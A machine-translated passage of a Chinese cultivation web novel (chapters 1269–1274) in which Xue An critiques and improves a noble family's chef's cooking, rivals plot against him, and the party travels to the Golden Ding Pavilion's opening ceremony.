    "Young Master Xue probably hasn''t eaten yet, I ordered them to prepare when I first came here, or let''s go eat first!"


    "eat?"


    "That''s right!" Sheng Miaotong smiled and said proudly: "Master Xue doesn''t know something, but my chef''s cooking skills are well-known in the world! You will know it after you taste it!"


    Upon hearing that the cooking skills were good, Xue An''s eyes flashed Guanghua, and then nodded, "Alright! Then try it!"

 Chapter 1269： 1 Nothing is good for you

    When Xue An and Sheng Miaotong walked down the stairs and came to the patio in the backyard, they saw more than a dozen maidservants with glamorous and beautiful faces standing in the hatchback.


    Moreover, the aura of these maids is very good, obviously they all have cultivation.


    After seeing Sheng Miaotong''s figure, these maids immediately began to prepare in an orderly manner.


    Tables, chairs, meals and other dishes are placed neatly.


    These qualities are enough to prove the extraordinary of this Sheng family.


    Sheng Miaotong was so proud that he couldn''t help taking a peek at Xue An, wanting to see what his expression would be when he saw this scene.


    But unexpectedly, I saw Xue An''s expression indifferent, and he didn''t even blink his eyelids, as if this line of battle was not enough.


    This makes Sheng Miaotong feel a little surprised.


    You must know that even the children of the aristocratic family, after seeing these close-knit maids of their own, have a look of surprise on their faces, and some unbearable ones just stand on the spot.


    But this Xue An was not moved at all, very calm.


    Could it be that he didn''t see the clues inside?


    Well, it should be so!


    Soon, the two sat down.


    Then these maids began to present plates of exquisite dishes like flowing water.


    Whether it is ingredients or cooking skills, these dishes are perfectly combined, at least in Sheng Miaotong''s opinion.


    So when Xue An took a chopstick and put it in her mouth, she looked at Xue An with a smile, and wanted to see how he would react.


    You should be amazed!


    After all, no matter what kind of family children they are, they will be amazed when they eat such a meal for the first time.


    Sheng Miaotong thought confidently.


    But at this moment, Xue An suddenly turned his head and vomited what was in his mouth.


    The smile on Sheng Miaotong''s face froze.


    And Xue An said lightly: "The ingredients are good, and the cooking skills can only say... violent!"


    Sheng Miaotong''s eyelids began to beat frantically, but he still pushed the plate next to him unconvinced, "Try this again! This is what my cook is best at!"


    After a while.


    "The heat is too much!"


    "The handling is too bad!"


    ��������.


    In a short while, Xue An''s dish was banished for nothing.


    Sheng Miaotong, who was full of momentum, suddenly became a little weak.


    She didn''t know if these words of Xue An were true or false, but they all sounded reasonable.


    But the point is, as someone who is not even a son of a wealthy family, how can he know so much?


    Sheng Miaotong''s heart is simply puzzling.


    But at this moment, only a voice full of mockery came over.


    "Pretending to be, just smile!"


    Following the voice, but saw a group of people walked in from outside the courtyard.


    The leader was a gorgeously dressed young man with a beautiful face.


    And behind him was a young man in the water.


    The speaker is the leader.


    Seeing so many people suddenly coming in, Sheng Miaotong was taken aback for a moment, and then angrily said: "What''s the matter?"


    Following the voice, I saw the old slave rushing in, nodding and bowing at Sheng Miaotong.


    "Second young lady calm down, these are the children of several big families in the city, and the leader is Su Junneng, the son of City Lord Su! They heard that you are coming and they want to come and visit you, so I boldly lead them coming!"


    Sheng Miaotong''s face was as cold as ice.


    At the same time, I saw this Su Jun step forward with a decent smile and bowed his head slightly, "I have seen Miss Sheng Er!"


    Sheng Miaotong snorted coldly, but no matter how arrogant she was, she was now on one-third of one acre of land, so she had no choice but to suppress her unhappiness and nodded slightly, but did not speak.


    The smile on Su Junneng''s face remained unchanged, but a cold look flashed in his eyes.


    Especially when he saw Xue An sitting beside Sheng Miaotong, his heart felt cold.


    As the son of the lord of this city, Su Jun can enjoy the best treatment from birth.


    Especially he looks handsome and talented, so he has a great reputation at a young age.


    Usually surrounded by countless Yingyings and Yanyans in this city, the life is very pleasant.


    But this time, when he heard his father say that the second lady of the Tianfang Sheng family actually came here to settle down, and listened to the old slave next to her said that he wanted to make friends here.


    This Su Junneng was overjoyed, immediately sorted out the description, and rushed over as he couldn''t wait.


    But before he walked into the courtyard, he heard Xue An''s comments on various dishes.


    Su Junneng had investigated before coming, and knew that Xue An had never been seen before, and he was definitely not a son of a wealthy family, so he thought that Xue An was purely nonsense, and his purpose was nothing more than to highlight himself in this way.


    That''s why he mocked his pretense.


    After he came in, when he saw that Xue An was actually sitting upright, Sheng Miaotong was with him, and he seemed to be talking very happily, he was even more jealous.


    "This dear man looks very face-to-face, but I don''t know where he is from a rich family or a child of a family?" Su Junneng asked mockingly.


    Xue An didn''t speak, just raised his eyes and glanced at Su Junneng quietly.


    For no reason, when Xue An''s eyes touched Su Junneng''s heart, his scalp became numb.


    But immediately, he reacted, and then glared back without showing weakness.


    Sheng Miaotong was furious when she saw this. You must know that Xue An was also a friend she invited. How could she tolerate that Su Jun, who did not know where he came out, could be so aggressive.


    So she snorted, "What do you mean by the surname Su?"


    Su Junneng trembled all over, and hurriedly said with a smile: "Second Miss, I don''t mean anything! I just watched this friend''s face and heard his bold words just now, so I naturally want to ask about the origin! Please forgive me! "


    Of course, Sheng Miaotong would not believe these nonsense, just about to speak.


    Seeing Xue An slowly standing up, said lightly: "You talk, I''m going back to drink tea!"


    Saying, step forward.


    His move surprised Sheng Miaotong, and then he froze in place.


    Su Junneng''s eyes showed a touch of joy, and he even sneered in his heart In his opinion, this young man in white was obviously frightened by himself, so he wanted to leave so impatiently.


    Count you acquaintance!


    Su Junneng was proud of his heart, and then smiled at Sheng Miaotong who was sitting there, "Second Miss, I guess there is something urgent for this man! Let''s ignore him, after all, he was full of mouths when he just reviewed the dishes. The rhetoric!"


    This is very harsh.


    Although Sheng Miaotong''s face paled with anger, he could hardly wish to slap Su Junneng twice.


    But at this moment, her more attention was still focused on Xue An.


    Did you just leave?


    Sheng Miaotong''s eyes were a little disappointed and sad.


    You know that she doesn''t care about her birth, anyway, no matter how good her birth is, she is not as good as her own.


    You don''t need to care about your cultivation base and strength, after all, that can be cultivated.

 Chapter 1270： Repeated provocations

    But in this world, if a man doesn''t even have the courage to fight back in the face of provocation, it will really make people look down.


    But no matter what she thought in her heart, Xue An didn''t stop in the slightest, and she was about to go upstairs.


    At this moment, Su Jun could see Sheng Miaotong''s gaze still staying on Xue An, and his heart was full of jealousy. He couldn''t help but sneered and said, "Hehe, I guess I haven''t eaten any good things, right? You dare to brag about the problem? What a laugh!"


    These words made all those who followed him laugh out loud, just about to echo a few words.


    At this moment, Xue An, who had already stepped up the stairs, stopped, then slowly turned around and looked at Su Junneng who was talking coldly.


    Su Junneng wanted to ridicule a few more words, but when he met Xue An''s gaze, he felt that all the hairs on his body were erected instantly, and what he wanted to say was stuck in his throat, and a look of panic appeared in his eyes. .


    what happened?


    Why is this guy''s eyes so scary?


    Su Junneng screamed madly in his heart, trying to get rid of this fear.


    But helplessly, under Xue An''s gaze, he felt that he was just like a lamb to be slaughtered, without the slightest resistance.


    At this moment, I saw Xue An slowly narrowing his gaze, and said lightly: "What you just said, do you disagree with my previous evaluation?"


    After finally getting rid of Xue An��s gaze, Su Junneng finally returned to normal. Although the lingering fear in his heart had not disappeared, he nodded viciously: "Yes! Did I say something wrong? No one in the world knows Miss Sheng Er''s body. Madam chef, the cooking skills are excellent, but you keep picking out so many faults, of course I am not satisfied!"


    "And it''s not just that I''m not convinced, I guess Miss Sheng Er won''t be convinced either!" Speaking of this, Su Junneng couldn''t help looking at Sheng Miaotong.


    Sheng Miaotong also hesitated, because she also felt that what Xue An had just said was a bit wrong.


    Xue An laughed when he heard the words.


    In fact, he didn''t bother to pay attention to these incidents, whether it was Sheng Miaotong or Su Junneng, Xue An didn''t bother to take care of it.


    So he just planned to leave.


    Not to be afraid, but to feel unnecessary.


    Unfortunately, there are always one or two dead people in the world.


    This Su Jun can provoke again and again, and Xue An doesn''t want to be polite.


    Therefore, after listening to Su Junneng''s words, Xue An nodded, "It makes sense! But how do you know that I''m picking things wrong?"


    "Hehe, are you picking things around, don''t you know? It''s nothing more than trying to show off in front of Miss Sheng Er, right?" Su Junneng sneered.


    Xue An smiled, then suddenly turned his head, Chong Sheng Miaotong said: "Second girl Sheng, since he is not convinced, please invite your cook out, I have a few words to say to her!"


    Sheng Miaotong''s heart moved, and then nodded, "Okay!"


    And before she ordered, the old slave couldn''t wait to go and ask the cook behind.


    As he ran, he was proud of himself.


    Although this bun, who doesn''t know where he came from, has some strength, today I see how you can get through this level!


    As long as the second lady is no longer interested in you, I have a way to clean up you!


    The old slave left happily, but after a while, he led a woman in her thirties to come over.


    This woman is not beautiful, but she feels very comfortable regardless of her facial features or temperament.


    Moreover, while walking, he is majestic, and he is also a strong practitioner.


    After seeing her, Sheng Miaotong couldn''t help leaning slightly, "Mother Wu!"


    Since Sheng Miaotong was very young, the cook began to take care of her diet, so Sheng Miaotong must respect her very much.


    At this time, this Wu mother already knew what had happened, because the old slave had already added fuel and jealousy to tell her what had happened while on the road.


    So when she heard Sheng Miaotong''s shout, she nodded slightly and shouted, "Second Miss!"


    Then he turned his head and looked at Xue An, who was standing on the stairs, with a flash of anger in his eyes.


    "Young man, did you just say that what I made was awful?"


    All eyes were focused on Xue An, Xue An smiled, and then shook his head gently.


    "No!"


    Hearing Xue An''s words like this, Su Jun sneered, "Is it true at this time?"


    The disappointment in Sheng Miaotong''s eyes became more intense.


    But then, Xue An said calmly: "It''s not that it''s unpalatable, but it''s particularly unpalatable!"


    Upon hearing these words, this Wu Ma raised her eyebrows, and her heart burst into anger.


    You must know that she has loved cooking since she was a child and has been working hard until she entered Tianfang Sheng''s house and became Sheng Miaotong''s personal chef. Because this little girl is extremely picky about food, her cooking skills have also improved by leaps and bounds. , And finally gained a great reputation.


    But this young man kept saying that what he made was particularly unpalatable. Of course she couldn''t accept it.


    So she took a deep breath and said coldly: "Very well, since you said that what I made is unpalatable, please tell me all the shortcomings!"


    Xue An nodded, and then casually pointed, "For example, the selection of ingredients is fine, but unfortunately the heat treatment is too bad, and it is even more on the surface during cooking, which ultimately causes the taste to be inconsistent! This, Are you convinced?"


    Wu Ma''s face turned pale, and she has always felt the faults Xue An pointed out. Although she has been trying to improve, she has never been able to do so.


    But at this moment, Su Junneng sneered, "Everyone can say that, if you have the ability to do it yourself!"


    Xue An''s eyes flashed, and he glanced at Su Junneng.


    Su Junneng trembled in his heart and dared not say any more.


    Then Xue An said calmly: "Who said that you have to know how to cook when reviewing dishes? And..."


    Xue An raised his head and looked at the group of people in the patio You are not qualified to let me cook! "


    "You..." Su Junneng was furious, just about to say something.


    Seeing Ma Wu stepping forward, she said first: "The son calms down, I do admit the fault you just said!"


    This time, Su Jun was dumbfounded.


    Because this Wu Ma admitted herself.


    Not only him, but even Sheng Miaotong was a little dumbfounded.


    You must know that she has always been extremely demanding on diet, but she has not tasted the problems Xue An said.


    Xue An only smiled, "Yes, it''s commendable for you to realize the problem!"


    Having said that, he had to turn around and leave.


    But this mother Wu finally met a person who could pick out her fault, how could she let it go easily, so she took a few steps forward and said respectfully: "My son stayed, since you just said that we are not worthy of your hands. Then can you tell me the method, I will improve it, what do you think?"

 Chapter 1271： Wheres the crazy lady

    Xue An took a deep look at this sincere-faced cook.


    In fact, Xue An��s cooking skills can of course single out many of her faults.


    But for ordinary people and even ordinary cultivators, her cooking skills are quite good.


    Many people think that after embarking on the path of spiritual practice and accomplishing something, food and other things are no longer so important.


    This is actually a misunderstanding.


    Although practitioners can live without eating, this does not prove that diet is not important.


    On the contrary, among the heavens, food is a university question, even a complete system of cultivation.


    Because among the heavens, there are countless kinds of weird ingredients.


    And the more precious and rare the ingredients are, the more helpful they are to spiritual practice.


    For example, the spiritual medicine fairy grass that can be used for alchemy, the most medicinal part is naturally used as medicine, but the remaining things actually have a lot of spiritual power, but if you eat it directly, it may not be able to absorb the manic spiritual power. Even suffer from it.


    At this time, the importance of cooking is highlighted.


    The more skilled a person is in cooking, the more they can use techniques or occult techniques to reconcile or dissolve the toxicity in the ingredients, and release the spiritual energy contained in them, so that after eating, they will have a great impact on cultivation. help.


    Although this change is not as fast as the pill, it has no side effects, and the accumulation over time is also an extremely impressive improvement.


    So this also makes the people with superb cooking skills become the target of the heavenly powerhouse.


    It can even be said that the more powerful people are, the higher the requirements for cooking skills.


    At the beginning, Xue An was not only the first in cultivation, but also the first in strength, and even his cooking skills were recognized as the first by many people who had tasted his craftsmanship.


    So he certainly doesn''t look down on these dishes.


    And when she heard what Wu Ma said, Xue An gave her a deep look.


    As far as she could see, Wu Ma stood with her head bowed, but her eyes were full of hope.


    After a while.


    Xue An nodded, "Alright! Then I will teach you once!"


    As he said, he saw Xue An waved his hand, and a divine mind wrapped in information flew into Wu Ma''s sea of ??knowledge.


    The whole body of Wu Ma was shocked, her eyes were blank, and she didn''t wake up until after a while.


    Then there was a look of horror in her eyes.


    As a person obsessed with cooking, she certainly can see how precious these cooking skills Xue An bestowed on her.


    Therefore, she took a deep breath, bowed to Xue An, and tremblingly said: "Thank you, son! I will go and do it again now!"


    As she said, she turned around and hurried away without saying hello to Sheng Miaotong.


    Xue An smiled, and did not go back, but stood there and waited quietly.


    On the other hand, Sheng Miaotong looked at Xue An with a puzzled look, and then at Wu Ma, who was jogging away, and he became more and more puzzled.


    This guy... really knows how to cook?


    Su Junneng also recovered at this time, and then his heart trembled slightly.


    Time flies quickly, that is, the scene of tea.


    I saw Ma Wu ran back in a trot with a plate, and then went straight to Xue An''s approach, lifted it up respectfully, and said breathlessly: "My son, try again!"


    Xue An took the chopsticks casually, picked up a piece and tasted it, then put the chopsticks down and said lightly: "Yes!"


    After speaking, he turned around and left.


    This Wu Ma was overjoyed when she heard Xue An''s remarks, and she bent down deeply in the direction where Xue An had left, and trembled: "Thank you, son!"


    There was excitement in the voice.


    Sheng Miaotong couldn''t help but feel a little puzzled when he saw this, and then walked over, picked up a chopstick and put it in his mouth.


    After chewing, Sheng Miaotong''s eyes gradually rounded.


    Mother Wu smiled and asked, "Second Miss, how is it?"


    Sheng Miaotong couldn''t wait to pick up a few more chopsticks, and ate it with big mouthfuls, and then let out a breath.


    "Can''t tell, but I always feel that it tastes much better than before!"


    Mother Wu smiled very happily, "Yes! Thanks to this young man!"


    Sheng Miaotong was silent.


    At this time, Su Junneng walked over with a shy face, consciously smiling at Sheng Miaotong gracefully, "Second Miss, you..."


    Before he could finish his words, he saw Sheng Miaotong throw his chopsticks, chuckle, and walked up the stairs.


    Su Junneng was left standing there with an embarrassed expression. Seeing Wu Ma standing aside, he couldn''t help but smile, "I will try it too!"


    Said to reach out for chopsticks.


    But this time there was no smile on Wu''s face, she took a step back and said lightly: "I''m sorry, the second lady has a cleanliness addiction. No one is allowed to touch her tableware!"


    Su Junneng''s eyes stared, "But the guy just now clearly..."


    He just wanted to say that Xue An just used chopsticks.


    But before she could finish her words, Ma Wu strode away with her plate.


    When passing by the pale old slave, Wu Ma whispered: "I won''t tell the second lady about this time, but I hope you can take care of yourself!"


    The old slave trembled with fright, bent down and said with a trembling voice: "Yes!"


    In an instant, the patio became empty.


    Even the tables and chairs were taken away by the maids.


    Only Su Jun could stand in a daze, staring at the people who followed him.


    After a while, Su Junneng''s pretty face became distorted due to resentment and anger. After a bitter look at the upstairs, he turned and left the inn.


    As soon as he left, everyone else naturally followed him away.


    at the same time.


    In the room.


    Xue An was drinking tea in silence.


    Sheng Miaotong sat opposite, looking at him with piercing eyes.


    The more I look at it, the more rippling Sheng Miaotong''s mind becomes, and the softer the waves in his eyes.


    The person is handsome, the strength is good, and even the cooking is so good!


    This boy is simply too rare!


    Sheng Miaotong''s heart was surging, and finally couldn''t help but said, "Master Xue! Who did you learn your cooking skills from? Can you teach me?"


    Xue An shook his head.


    "Oh, do I really want to learn! Just teach me!" Sheng Miaotong''s voice was a little tired.


    Xue An still did not speak.


    At this moment, Xing Yushu, who had slept, walked out of the back room.


    When I saw the fierce girl in the house before, I was taken aback.


    Sheng Miaotong smiled and greeted Xing Yushu, "Hello!"


    Xing Yushu was a little silly and couldn''t help looking at Xue An.


    Xue An didn''t lift his head, and said lightly: "Yu Shu, send this girl out!"


    "Yes!" Xing Yushu stepped forward without hesitation.


    Sheng Miaotong thought that Xue An was joking at first but when she was pushed out of the room by Xing Yushu, and the door of the room closed with Peng.


    She suddenly realized that she was really kicked out!


    This can''t help but make Sheng Miaotong angry, because since childhood, no one has dared to treat her like this.


    So she raised her hand to smash the door, but she stopped in mid-air, and then stomped her feet bitterly, and whispered: "Huh, want to drive me away? No way! Girl, I still rely on you!"


    After that, she turned around angrily.


    In the room, Xing Yushu asked curiously: "My lord, who is this woman?"


    At this time, Xing Yushu after so long venting, is much better than when he first started.


    Xue An drank the tea in the cup, and said lightly: "Who knows! Maybe it''s a crazy woman!"


    Xing Yushu nodded in agreement, "I think so too!"

 Chapter 1272： Scheming

    In the City Lord''s Mansion.


    Su Junneng''s expression was extremely gloomy, and he told his father the cause and effect.


    After listening, the lord of the city twisted his beard with his hands, and said nothing.


    After a while, Su Junneng couldn''t help it, and said solemnly: "My father, this kid is really hateful, but Ms. Sheng Er treats him differently and doesn''t say anything to me. How should I deal with this?"


    Father Su smiled, "The Xue family...hehe, as far as I know, not only does Jinguang Dongtian do not have a wealthy family surnamed Xue, even in the other big caves, we have never heard of a family surnamed Xue!"


    Su Junneng was stunned when he heard the words, and then showed a cruel look on his face, "If I say this, my father means..."


    With that, Su Junneng made a vicious gesture between his neck.


    Su''s father shook his head, "Don''t act too hastily, even though this person is nothing but a man, but now Miss Sheng Er attaches great importance to him, if you act rashly, it will instead attract Miss Sheng Er''s resentment and dissatisfaction. I''m tired of it!"


    Su Junneng''s face showed a dazed look, "This can''t be done, that can''t be done! Can we just watch it?"


    Father Su chuckled, then proudly took out a piece of paper from his arms, "Who said we can only watch it! Here, look!"


    Su Junneng took the paper, glanced at it briefly, and then froze in place.


    Father Su said proudly: "How?"


    Su Junneng felt a burst of ecstasy in his heart, and his excited voice trembled, "Father, this... when did you get this?"


    No wonder he was so excited, it was because the things recorded on this paper were too important to him! It was so important that Su Junneng, who was usually dull, was ecstatic.


    There are only a few simple sentences on the paper. This time the opening ceremony of the Golden Ding Pavilion has been organized, and Su Junneng can also visit the gate of the Golden Ding Pavilion by then.


    The thought that he could also enter the famous Jinding Pavilion to practice Taoism, and that he would become an existence admired by thousands of people in the future, and Su Junneng''s breathing became much heavier.


    Father Su laughed, "I was planning this as early as last year, and now I finally live up to expectations and have obtained this permission! Now, my son will also become a disciple of Jinding Pavilion!"


    "Thank you father!" Su Jun was able to bow down, shaking with excitement.


    Then he stood up and said hesitantly: "But father, does this have anything to do with dealing with that surname Xue?"


    Father Su twisted his beard and smiled, "Hehe! Before I got this letter in the afternoon, I was a little worried about how to deal with Xue An who didn''t know where to come out! But now... the overall situation is settled!"


    Su Junneng was startled, but he still didn''t understand what his father meant.


    Father Su said indifferently: "Neng''er, you know that although our Golden Light Cave Sky is the last in this realm, but the Golden Ding Pavilion is not accessible to anyone! The opening ceremony of the mountain is about to be held, and the surname Xue is obviously I also intend to worship the mountain gate!"


    "Unfortunately, how can he enter the Golden Ding Pavilion with an ordinary person like him with no background and no connections?"


    Hearing this, Su Junneng suddenly realized, "Father, you mean..."


    Father Su nodded, "That''s right! This opening ceremony is the best opportunity to clean up this surname Xue!"


    Speaking of this, Father Su stood up, walked a few steps back and forth in the house, and then smiled, "Needless to say, Miss Sheng Er, she will definitely worship Jinding Pavilion, and she may even be an inner disciple directly! And you will also worship the mountain gate! At that time, if this Xue An loses the election, what will be waiting for him? Should I say it?"


    Su Junneng became more excited as he listened, but suddenly remembered something, and said hesitantly: "But I think this second lady is very fond of Xue An, if it''s her..."


    Su''s father waved his hand, "Nah, you still don''t understand the thoughts of these wealthy prostitutes! Especially for the second lady, the daughter of the sky, many times just get bored and have fun on a whim! But yes! For them, the most important thing is strength and status!"


    "When Xue An loses the election, he will naturally leave in despair. After you enter the Golden Ding Pavilion, you will have time to contact. Within a few days, the second lady Guan Bao will forget the surname Xue. Later!"


    Su Jun could hear fascinated, and nodded again and again, "Yes, my father is really clear! But father, what if this Miss Sheng Er intends to buy the joints for this Xue''s surname through the forces of the Sheng family?"


    Father Su chuckled, then shook his head, "If it''s someone else, I wouldn''t dare to say it, but Miss Sheng Er... absolutely impossible!"


    "Huh? Why do you say that?"


    "Because of this opening ceremony, not only is Sheng Miaotong attending alone, I just received the news that her eldest sister Sheng Manyu will also go, and will directly worship at the door of the elder Shui Jing! You know, this Miss Sheng Ertian I am not afraid, but I am awed by my big sister!"


    "You said, how would she feel if this Miss Shan knew about these things then?"


    Su Junneng was determined in his heart, and couldn''t help being more and more admired by his father''s methods, and he laughed: "Maybe we don''t need to do it then, this surname Xue will have to eat and walk around!"


    "Haha! My son is right, so in the past few days, let this surname Xue be mad!" Su''s father said with a smile, like an old fox with hair removed.


    No words for a night.


    Waiting until the next day, when Xue An took Xing Yushu out of the house, he saw Sheng Miaotong standing in front of the door smiling and waiting.


    "Master Xue, can you sleep well?" Sheng Miaotong asked with a smile.


    Xue An nodded.


    "Then let''s go now!" Sheng Miaotong said with bright eyes.


    "We?" Xue An frowned slightly.


    "Yeah! Aren''t you going to attend the Opening Ceremony? It just so happened that we were on the way It''s better to take a flying boat together and fly around in the sky without much effort!"


    Xue An took a deep look at Sheng Miaotong, "Thank you!"


    Sheng Miaotong smiled brighter than flowers, "Oh, what do you say thank you! My flying boat can accommodate a lot of people! And there is still a long distance away from the Golden Ding Pavilion, so why don''t we fly together? Looks boring?"


    I didn''t want Xue An but shook his head, "No need!"


    Ok?


    The smile on Sheng Miaotong''s face froze.


    Then I saw Xue An raising his hand, and with a crane hum, a crane truck appeared in the air.


    Xue An said lightly: "Let''s go!"


    With that, he stepped into the Luan car.


    Xing Yushu looked stupidly, and whispered in his mouth: "Since there is this, why should I fly for three full days?"

 Chapter 1273： Jinding Pavilion

    "Huh?" Xue An turned to look at Xing Yushu.


    Xing Yushu felt trembling all over, and hurriedly flew into the Luan car.


    "Huh?" Xue An raised his eyebrows slightly.


    Xing Yushu came to the front obediently, grabbed the whip and flicked it lightly.


    Snapped!


    After a crisp sound, the crane rumbled forward and disappeared into the sky in the blink of an eye.


    Sheng Miaotong looked at him dumbfounded, until the figure of He Nian Luan Cha completely disappeared, and then gradually regained consciousness, and then his face showed a heavy anger.


    "This girl kindly invited you, but you left without saying hello?" Sheng Miaotong said angrily.


    No one dared to talk, they all lowered their heads obediently and remained silent.


    "Huh! See if it''s you fast or my flying boat! Go!" Sheng Miaotong vented for a while, then stomped her foot, and wanted to catch up on the flying boat.


    But just as he was about to leave, Su Junneng rushed over on a one-legged pony horse with an unusual horse, and when he saw Sheng Miaotong alone there, his eyes lit up, then smiled.


    "Second Miss, it''s getting late, how about we travel together?"


    Sheng Miaotong''s heart was full of anger at first, and when he saw this Su Junneng, he was not angry, and coldly snorted: "No need!"


    After speaking, she suddenly remembered something, and looked up and down Su Junneng a few times, "What are you going to do?"


    Su Junneng smiled, and then said quite contentedly: "It''s true that I will go to the opening ceremony of Jinding Pavilion, so..."


    Before he could finish, Sheng Miaotong waved his hand impatiently, "Well, what does it matter to me whether you participate or not? Let''s go!"


    After that, he entered directly into the flying boat, and then stepped on the accelerator.


    There was a huge tremor, and then the flying boat rose into the sky at a terrifying speed, and disappeared without a trace in an instant.


    Su Junneng stood in the same place with a pale expression.


    No one has ever dared to ignore him so much! But Su Junneng did not direct his anger at Sheng Miaotong, and he did not dare to do that!


    Instead, he aimed all the rage and spears at Xue An.


    In his opinion, everything is because this kid who didn''t know where he came out broke his good deeds!


    "Huh! Wait until that, and see how you respond!" Su Junneng sneered, then turned his horse''s head and flew to the Golden Ding Pavilion.


    At the same time, Dan saw that on the road to the Golden Ding Pavilion, there were many Huaguang arrays, and there were more flying boats than crucians crossing the river.


    Without exception, these people all went to Jinding Pavilion to participate in the opening ceremony of the mountain.


    Seeing this scene, Xing Yushu, who was driving the Crane Luan car, couldn''t help but pale a little, and his eyes flashed with tension.


    Although Xing Yuhe left him with a chance, the Jinding Pavilion was known as one of the seven caves and was extremely powerful.


    And looking at the current situation, you can know that countless people want to worship the Golden Ding Pavilion.


    Will I really be able to inherit Grandpa''s chance?


    Xing Yushu''s heart was hanging in the air, very disturbed.


    Xue An naturally saw his thoughts, but only smiled.


    "Are you nervous?"


    "Yeah!" Xing Yushu nodded.


    "It''s okay! Since your grandfather said, then you can definitely!" Xue An said lightly.


    "Thank you, sir!"


    Xing Yushu now respects Xue An''s attitude very much.


    Because he was the benefactor who had avenged his blood, but he did not listen to Xue An''s comfort.


    After all, it has been a hundred years since Xing Yuhe left Jinding Pavilion. This period of time is neither long nor short.


    For the monk, it may not be a big deal, but it is enough to change a lot of things.


    Even if his grandfather planned well, who would dare to say that everything would go well?


    If the so-called chance fails, what should I do?


    Xing Yushu was once again lost in confusion.


    In this situation, Crane Luan''s car was flying at a rapid speed.


    However, in a daylight scene, a huge mountain appeared faintly in front of it.


    Xing Yushu couldn''t help being amazed when the whole picture of this mountain appeared in the field of vision.


    Because where is this mountain!


    It is clearly an exquisite, exquisite workmanship, and at the same time an extremely magnificent pavilion!


    However, I can see the exquisite pavilions floating in the air, connected by countless verandas in the middle, and then all are maintained on the main high-rise building.


    From a distance, the countless verandas are like honeycombs, giving this building a sense of strange rhythm.


    And when the sun shines down, no matter what the time, the edge of this pavilion will be plated with a layer of light gold, which is even more magnificent.


    And this is the origin of the name of Jinding Pavilion.


    When Xing Yushu saw these scenes for the first time, he felt that his eyes were not enough.


    Not only him, even those who have been here more than once, when they see this spectacle, they still can''t help but marvel.


    Only Xue An''s expression remained as usual. After raising his eyes and taking a look at the Golden Ding Pavilion, his eyebrows raised slightly, and a complex expression of unknown meaning flashed in his eyes.


    At this time, the surrounding people have gathered more and more, and the flying boat is even covering the sky.


    But no matter what the powerhouse is, when they come here, they dare not cross the mountain gate in front.


    Can only gather and wait in the distance.


    Fortunately, there is a small town not far from the gate of the mountain. This small town is not usually prosperous, but when the mountain begins, it will be full of people.


    People are willing to stay and rest here, waiting for the opening ceremony of the mountain.


    Xue An was no exception, but before they flew down, they saw a flying boat stumbled over.


    Along the road, all the flying boats and chariots were not spared. They were either smashed into pieces or smashed.


    All of a sudden, the crowd was in chaos.


    Many people are furious and will swear when they open their mouths.


    But after seeing this flying boat, he swallowed the curse again.


    Because they all recognized the emblem on this flying boatTianfang Shengjia!


    This kind of existence is not something they can provoke, so all be honest.


    at last.


    The flying boat came close to Xue An, and then Sheng Miaotong emerged and said with a smile, "Oh, what a coincidence!"


    Xue An was speechless for a while, but he nodded, "Yes, it''s such a coincidence!"


    Sheng Miaotong smiled, "Tomorrow is the date of the grand ceremony, why don''t we go to the teahouse for a little sit?"


    Sheng Miaotong was referring to the teahouse located in the middle of the town and overlooking the entire mountain gate.


    Xue An glanced at this ten-story teahouse.


    Sheng Miaotong hurriedly added: "I heard that the tea in this teahouse is very good, quite unique!"


    Xue An smiled, "Well, let''s try it!"

 Chapter 1274： The eldest sister of the Sheng family hides evil intentions

    This tea house occupies a very large area, and the location is unique, and the decoration is very luxurious.


    So whenever it comes to this opening ceremony, it will become the first choice for all parties.


    And if your strength or status is not enough, you won''t be able to enter this teahouse at all.


    But Sheng Miaotong didn''t care about this, and saw her march forward grandiosely.


    The guy in charge of the reception was about to speak, and then he saw the emblem on Sheng Miaotong''s clothes, and he trembled with fear, and hurried forward to wait.


    Xue An and his party followed the cheerful Sheng Miaotong straight to the top.


    No one is disturbed here, it is extremely quiet, and you can have a panoramic view of the Golden Ding Pavilion sitting in front of the window, and the environment is excellent.


    Sheng Miaotong smiled and said, "Sit down!"


    At the same time, more than a dozen beautiful maidservants brought up all kinds of delicate refreshments like flowers and butterflies.


    Xing Yushu was quite uncomfortable with this battle.


    Only Xue sat there quietly and said lightly: "You said the tea here is good?"


    "Yes!" Sheng Miaotong said with a grin, then turned his head and ordered.


    "Hurry up and watch tea!"


    "Yes!"


    Soon, there was a woman in a house dress coming forward and began to make tea by hand.


    The first cup of tea was naturally offered to Sheng Miaotong, but she grinned and handed it directly to Xue An, "Hey! How about a taste?"


    Xue An took it and took a bite, then raised his eyebrows slightly.


    "Fortunately! But the astringency has not gone away, obviously the heat is not enough!"


    This comment made the palace woman slightly discolored.


    We must know that she has studied the tea ceremony for a hundred years and has received countless big people, but there has never been a person who can say the right thing like this young man.


    Therefore, she whispered: "The son is really extraordinary! This year''s Yunwu tea has matured three days earlier than usual, so it is a bit tenderer than usual. If it is cooked according to the previous method, it will easily become old, so I will take it in advance. Tea, but I don''t want to be tasted by the son!"


    The words are full of admiration.


    Xue An smiled, then took the tea set at his fingertips and started to make tea by himself.


    But seeing the movement like running clouds and flowing water, after a while, the fragrance of tea began to overflow.


    The palace woman gradually opened her eyes.


    As an expert, she naturally saw how rare Xue An''s current technique is.


    Especially the fragrance of tea is almost unheard of.


    Sheng Miaotong smiled expectantly: "Hey, is this another Wal-Mart Longjing?"


    "No, this is Tieguanyin in RT-Mart!" Xue An said lightly.


    In a moment, the tea is ready!


    Sheng Miaotong couldn''t wait to hold up a glass, and took a sip without worrying about it being hot, and then began to admire.


    "What the **** is this RT-Mart? But the tea is delicious!"


    The palace lady couldn''t restrain the curiosity in her heart, took a cup and tasted it, and her eyes lit up.


    This tea fragrance is completely different from any tea she has ever tasted.


    The key is that the cooking temperature is just right, so he exclaimed: "My son is a good method!"


    But when they were making tea and chatting, they saw the sky in the distance, the clouds and mist were disturbed, and then a huge flying boat came out of it.


    This flying boat is beyond the imagination of ordinary people, it is like a small city.


    And before the flying boat, there was also a big emblem.


    After seeing this flying boat, Sheng Miaotong trembled all over and overturned the teacup in front of her when she missed her hand. She made a shit, then turned around and wanted to run.


    But at this moment, only a cold female voice came from the flying boat.


    "Stay there for me!"


    This sentence is like a fixation curse, directly causing Sheng Miaotong''s figure to stagnate.


    At the same time, I saw the flying boat slowly drifting to the front of the tea house.


    When you get closer, you can feel the hugeness and luxury of this flying boat.


    All the people in the small town saw this scene, and their faces were shocked and respectful.


    Because it was the well-known eldest lady in the Sheng family, Shengmanyu.


